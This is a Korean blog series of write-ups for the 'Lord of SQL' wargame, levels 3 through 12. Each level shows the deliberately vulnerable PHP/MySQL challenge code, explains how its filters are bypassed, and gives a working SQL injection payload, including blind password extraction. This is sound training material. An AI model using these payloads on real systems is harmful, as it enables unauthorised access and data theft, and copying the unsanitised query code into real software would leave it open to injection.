query : select id from prob_darkknight where id='guest' and pw='' and no=

<?php 
  
include "./config.php"
  
login_chk(); 
  
dbconnect(); 
  if(
preg_match('/prob|_|\.|\(\)/i'$_GET[no])) exit("No Hack ~_~"); 
  if(
preg_match('/\'/i'$_GET[pw])) exit("HeHe"); 
  if(
preg_match('/\'|substr|ascii|=/i'$_GET[no])) exit("HeHe"); 
  
$query "select id from prob_darkknight where id='guest' and pw='{$_GET[pw]}' and no={$_GET[no]}"
  echo 
"<hr>query : <strong>{$query}</strong><hr><br>"
  
$result = @mysql_fetch_array(mysql_query($query)); 
  if(
$result['id']) echo "<h2>Hello {$result[id]}</h2>"
   
  
$_GET[pw] = addslashes($_GET[pw]); 
  
$query "select pw from prob_darkknight where id='admin' and pw='{$_GET[pw]}'"
  
$result = @mysql_fetch_array(mysql_query($query)); 
  if((
$result['pw']) && ($result['pw'] == $_GET['pw'])) solve("darkknight"); 
  
highlight_file(__FILE__); 
?>



  if(($result['pw']) && ($result['pw'] == $_GET['pw'])) solve("darkknight"); 


blind sqli 문제입니다. no 파라미터에 substr, ascii, =를 필터링하고 있습니다. 또 pw 파라미터에 싱글쿼터를 필터링하고 있습니다.


이전 문제와 같지만 싱글쿼터가 필터링 중이니 string 문자열을 hex encoding하여 페이로드를 작성합시다.



?no=1||id like 0x61646d696e%26%26right(left(pw,1),1)like(0x41)%23

payload






'Web > LOS (Lord of SQL)' 카테고리의 다른 글

los(lord of sql) level 14 - giant  (0) 2018.08.22
los(lord of sql) level 13 - bugbear  (0) 2018.08.21
los(lord of sql) level 11 - golem  (0) 2018.08.21
los(lord of sql) level 10 - skeleton  (0) 2018.08.21
los(lord of sql) level 9 - vampire  (0) 2018.08.21

query : select id from prob_golem where id='guest' and pw=''

<?php 
  
include "./config.php"
  
login_chk(); 
  
dbconnect(); 
  if(
preg_match('/prob|_|\.|\(\)/i'$_GET[pw])) exit("No Hack ~_~"); 
  if(
preg_match('/or|and|substr\(|=/i'$_GET[pw])) exit("HeHe"); 
  
$query "select id from prob_golem where id='guest' and pw='{$_GET[pw]}'"
  echo 
"<hr>query : <strong>{$query}</strong><hr><br>"
  
$result = @mysql_fetch_array(mysql_query($query)); 
  if(
$result['id']) echo "<h2>Hello {$result[id]}</h2>"
   
  
$_GET[pw] = addslashes($_GET[pw]); 
  
$query "select pw from prob_golem where id='admin' and pw='{$_GET[pw]}'"
  
$result = @mysql_fetch_array(mysql_query($query)); 
  if((
$result['pw']) && ($result['pw'] == $_GET['pw'])) solve("golem"); 
  
highlight_file(__FILE__); 
?>



  if(($result['pw']) && ($result['pw'] == $_GET['pw'])) solve("golem"); 


blind sqli 문제네요. or, and, substr(, =를 필터링중입니다. substr이 필터링 되어있을 시 left, right를, =(이퀄)이 필터링 되어있을 시 like를 사용하여 쿼리문을 작성할 수 있습니다. (자세한 내용은 웹해킹 SQLI 우회기법 정리 - Webhacking SQL Injection Bypass Honey Tips 참조)



?pw='||id like('admin')%26%26right(left(pw,1),1)like(0x41)%23

payload









query : select id from prob_skeleton where id='guest' and pw='' and 1=0

<?php 
  
include "./config.php"
  
login_chk(); 
  
dbconnect(); 
  if(
preg_match('/prob|_|\.|\(\)/i'$_GET[pw])) exit("No Hack ~_~"); 
  
$query "select id from prob_skeleton where id='guest' and pw='{$_GET[pw]}' and 1=0"
  echo 
"<hr>query : <strong>{$query}</strong><hr><br>"
  
$result = @mysql_fetch_array(mysql_query($query)); 
  if(
$result['id'] == 'admin'solve("skeleton"); 
  
highlight_file(__FILE__); 
?>



  if($result['id'] == 'admin'solve("skeleton"); 


쿼리의 결과값 id가 admin이면 됩니다. 소괄호를 필터링 중이고 pw 파라미터가 오는 곳 뒤에 and 1=0이 되어있습니다. 뒤를 무력화시켜야겠군요. 앞선 문제와 똑같은 페이로드로 문제를 해결할 수 있습니다.


?pw='||id='admin'%23 

payload









'Web > LOS (Lord of SQL)' 카테고리의 다른 글

los(lord of sql) level 12 - darkknight  (0) 2018.08.21
los(lord of sql) level 11 - golem  (0) 2018.08.21
los(lord of sql) level 9 - vampire  (0) 2018.08.21
los(lord of sql) level 8 - troll  (0) 2018.08.21
los(lord of sql) level 7 - orge  (0) 2018.08.21

query : select id from prob_vampire where id=''

<?php 
  
include "./config.php"
  
login_chk(); 
  
dbconnect(); 
  if(
preg_match('/\'/i'$_GET[id])) exit("No Hack ~_~");
  
$_GET[id] = strtolower($_GET[id]);
  
$_GET[id] = str_replace("admin","",$_GET[id]); 
  
$query "select id from prob_vampire where id='{$_GET[id]}'"
  echo 
"<hr>query : <strong>{$query}</strong><hr><br>"
  
$result = @mysql_fetch_array(mysql_query($query)); 
  if(
$result['id'] == 'admin'solve("vampire"); 
  
highlight_file(__FILE__); 
?>



  if($result['id'] == 'admin'solve("vampire"); 


쿼리의 결과값 id가 admin이 되면 됩니다. id를 소문자로 변경 후 str_replace로 admin을 공백으로 치환시킵니다. admin이 사라지는걸 생각해서 adadminmin을 넣으면 admin으로 치환되는것으로 문제를 해결할 수 있습니다.



?id=adadminmin 

payload





'Web > LOS (Lord of SQL)' 카테고리의 다른 글

los(lord of sql) level 11 - golem  (0) 2018.08.21
los(lord of sql) level 10 - skeleton  (0) 2018.08.21
los(lord of sql) level 8 - troll  (0) 2018.08.21
los(lord of sql) level 7 - orge  (0) 2018.08.21
los(lord of sql) level 6 - darkelf  (0) 2018.08.21

query : select id from prob_troll where id=''

<?php  
  
include "./config.php"
  
login_chk(); 
  
dbconnect(); 
  if(
preg_match('/\'/i'$_GET[id])) exit("No Hack ~_~");
  if(@
ereg("admin",$_GET[id])) exit("HeHe");
  
$query "select id from prob_troll where id='{$_GET[id]}'";
  echo 
"<hr>query : <strong>{$query}</strong><hr><br>";
  
$result = @mysql_fetch_array(mysql_query($query));
  if(
$result['id'] == 'admin'solve("troll");
  
highlight_file(__FILE__);
?>



  if($result['id'] == 'admin'solve("troll");


쿼리의 결과값 id가 admin만 나오면 됩니다. 다만 php의 ereg 함수를 써서 admin을 필터링 하고있네요.


ereg는 대소문자를 따로 구분하기 때문에 대소문자 섞어 써주면 문제를 풀 수 있습니다.


?id=Admin 

payload








'Web > LOS (Lord of SQL)' 카테고리의 다른 글

los(lord of sql) level 10 - skeleton  (0) 2018.08.21
los(lord of sql) level 9 - vampire  (0) 2018.08.21
los(lord of sql) level 7 - orge  (0) 2018.08.21
los(lord of sql) level 6 - darkelf  (0) 2018.08.21
los(lord of sql) level 5 - wolfman  (0) 2018.08.21

query : select id from prob_orge where id='guest' and pw=''

<?php 
  
include "./config.php"
  
login_chk(); 
  
dbconnect(); 
  if(
preg_match('/prob|_|\.|\(\)/i'$_GET[pw])) exit("No Hack ~_~"); 
  if(
preg_match('/or|and/i'$_GET[pw])) exit("HeHe"); 
  
$query "select id from prob_orge where id='guest' and pw='{$_GET[pw]}'"
  echo 
"<hr>query : <strong>{$query}</strong><hr><br>"
  
$result = @mysql_fetch_array(mysql_query($query)); 
  if(
$result['id']) echo "<h2>Hello {$result[id]}</h2>"
   
  
$_GET[pw] = addslashes($_GET[pw]); 
  
$query "select pw from prob_orge where id='admin' and pw='{$_GET[pw]}'"
  
$result = @mysql_fetch_array(mysql_query($query)); 
  if((
$result['pw']) && ($result['pw'] == $_GET['pw'])) solve("orge"); 
  
highlight_file(__FILE__); 
?>



  if(($result['pw']) && ($result['pw'] == $_GET['pw'])) solve("orge"); 


blind sqli로 pw값을 구해야 합니다. id는 admin으로 고정이고 or / and 논리연산자가 필터링 되어있습니다.


 ?pw='||id='admin'%26%26substr(pw,1,1)=0x41%23

...

payload









'Web > LOS (Lord of SQL)' 카테고리의 다른 글

los(lord of sql) level 9 - vampire  (0) 2018.08.21
los(lord of sql) level 8 - troll  (0) 2018.08.21
los(lord of sql) level 6 - darkelf  (0) 2018.08.21
los(lord of sql) level 5 - wolfman  (0) 2018.08.21
los(lord of sql) level 4 - orc  (0) 2018.08.21

query : select id from prob_darkelf where id='guest' and pw=''

<?php 
  
include "./config.php"
  
login_chk(); 
  
dbconnect();  
  if(
preg_match('/prob|_|\.|\(\)/i'$_GET[pw])) exit("No Hack ~_~"); 
  if(
preg_match('/or|and/i'$_GET[pw])) exit("HeHe"); 
  
$query "select id from prob_darkelf where id='guest' and pw='{$_GET[pw]}'"
  echo 
"<hr>query : <strong>{$query}</strong><hr><br>"
  
$result = @mysql_fetch_array(mysql_query($query)); 
  if(
$result['id']) echo "<h2>Hello {$result[id]}</h2>"
  if(
$result['id'] == 'admin'solve("darkelf"); 
  
highlight_file(__FILE__); 
?>



  if($result['id'] == 'admin'solve("darkelf"); 

이전 문제와 마찬가지입니다. 쿼리의 결과값으로 id가 admin만 나오면 됩니다. 이번엔 or와 and를 필터링 해놨네요. 이전 문제와 똑같이 풀 수 있습니다.


?pw='||id='admin'%23 

payload








'Web > LOS (Lord of SQL)' 카테고리의 다른 글

los(lord of sql) level 8 - troll  (0) 2018.08.21
los(lord of sql) level 7 - orge  (0) 2018.08.21
los(lord of sql) level 5 - wolfman  (0) 2018.08.21
los(lord of sql) level 4 - orc  (0) 2018.08.21
los(lord of sql) level 3 - goblin  (0) 2018.08.21

query : select id from prob_wolfman where id='guest' and pw=''

<?php 
  
include "./config.php"
  
login_chk(); 
  
dbconnect(); 
  if(
preg_match('/prob|_|\.|\(\)/i'$_GET[pw])) exit("No Hack ~_~"); 
  if(
preg_match('/ /i'$_GET[pw])) exit("No whitespace ~_~"); 
  
$query "select id from prob_wolfman where id='guest' and pw='{$_GET[pw]}'"
  echo 
"<hr>query : <strong>{$query}</strong><hr><br>"
  
$result = @mysql_fetch_array(mysql_query($query)); 
  if(
$result['id']) echo "<h2>Hello {$result[id]}</h2>"
  if(
$result['id'] == 'admin'solve("wolfman"); 
  
highlight_file(__FILE__); 
?>



if($result['id'] == 'admin'solve("wolfman"); 


쿼리의 결과로 id값이 admin만 나오면 되네요. id는 guest로 고정이고 pw에 싱글쿼터 필터링은 걸려있지 않습니다만 공백 필터링이 걸려있네요. 근데 or은 ||로 치환되는것만 알아도 문제는 풀 수 있습니다.


?pw='||id='admin'%23 

payload









'Web > LOS (Lord of SQL)' 카테고리의 다른 글

los(lord of sql) level 7 - orge  (0) 2018.08.21
los(lord of sql) level 6 - darkelf  (0) 2018.08.21
los(lord of sql) level 4 - orc  (0) 2018.08.21
los(lord of sql) level 3 - goblin  (0) 2018.08.21
los(lord of sql) level 2 - cobolt  (0) 2018.08.21

query : select id from prob_orc where id='admin' and pw=''

<?php 
  
include "./config.php"
  
login_chk(); 
  
dbconnect(); 
  if(
preg_match('/prob|_|\.|\(\)/i'$_GET[pw])) exit("No Hack ~_~"); 
  
$query "select id from prob_orc where id='admin' and pw='{$_GET[pw]}'"
  echo 
"<hr>query : <strong>{$query}</strong><hr><br>"
  
$result = @mysql_fetch_array(mysql_query($query)); 
  if(
$result['id']) echo "<h2>Hello admin</h2>"
   
  
$_GET[pw] = addslashes($_GET[pw]); 
  
$query "select pw from prob_orc where id='admin' and pw='{$_GET[pw]}'"
  
$result = @mysql_fetch_array(mysql_query($query)); 
  if((
$result['pw']) && ($result['pw'] == $_GET['pw'])) solve("orc"); 
  
highlight_file(__FILE__); 
?>



  if(($result['pw']) && ($result['pw'] == $_GET['pw'])) solve("orc"); 


id는 admin으로 고정입니다. 그리고 get으로 전달된 pw와 쿼리의 결과로 나온 result의 pw가 일치해야 문제가 풀립니다. 이는 곧 정확한 pw값을 추출해야 한다는 것을 알 수 있습니다.


처음으로 나온 blind sqli 문제네요.


substr을 이용해서 풀 수 있습니다.


?pw=' or id='admin' and ascii(substr(pw,1,1))=0x41%23 

...

payload






'Web > LOS (Lord of SQL)' 카테고리의 다른 글

los(lord of sql) level 6 - darkelf  (0) 2018.08.21
los(lord of sql) level 5 - wolfman  (0) 2018.08.21
los(lord of sql) level 3 - goblin  (0) 2018.08.21
los(lord of sql) level 2 - cobolt  (0) 2018.08.21
los(lord of sql) level 1 - gremlin  (0) 2018.08.21

query : select id from prob_goblin where id='guest' and no=

<?php 
  
include "./config.php"
  
login_chk(); 
  
dbconnect(); 
  if(
preg_match('/prob|_|\.|\(\)/i'$_GET[no])) exit("No Hack ~_~"); 
  if(
preg_match('/\'|\"|\`/i'$_GET[no])) exit("No Quotes ~_~"); 
  
$query "select id from prob_goblin where id='guest' and no={$_GET[no]}"
  echo 
"<hr>query : <strong>{$query}</strong><hr><br>"
  
$result = @mysql_fetch_array(mysql_query($query)); 
  if(
$result['id']) echo "<h2>Hello {$result[id]}</h2>"
  if(
$result['id'] == 'admin'solve("goblin");
  
highlight_file(__FILE__); 
?>



  if($result['id'] == 'admin'solve("goblin");

2번이랑 똑같습니다.. 만 id가 guest로 고정이네요. 그리고 no에서 single quote를 막고있지만 no는 single quote로 감싸져있지 않기 때문에 상관 없습니다. hex encoding 해서 admin을 주겠습니다.

?no=0||id=0x61646d696e 

payload







'Web > LOS (Lord of SQL)' 카테고리의 다른 글

los(lord of sql) level 5 - wolfman  (0) 2018.08.21
los(lord of sql) level 4 - orc  (0) 2018.08.21
los(lord of sql) level 2 - cobolt  (0) 2018.08.21
los(lord of sql) level 1 - gremlin  (0) 2018.08.21
[Web] LOS(Lord of SQL) 워게임 풀이 3  (0) 2018.04.25

+ Recent posts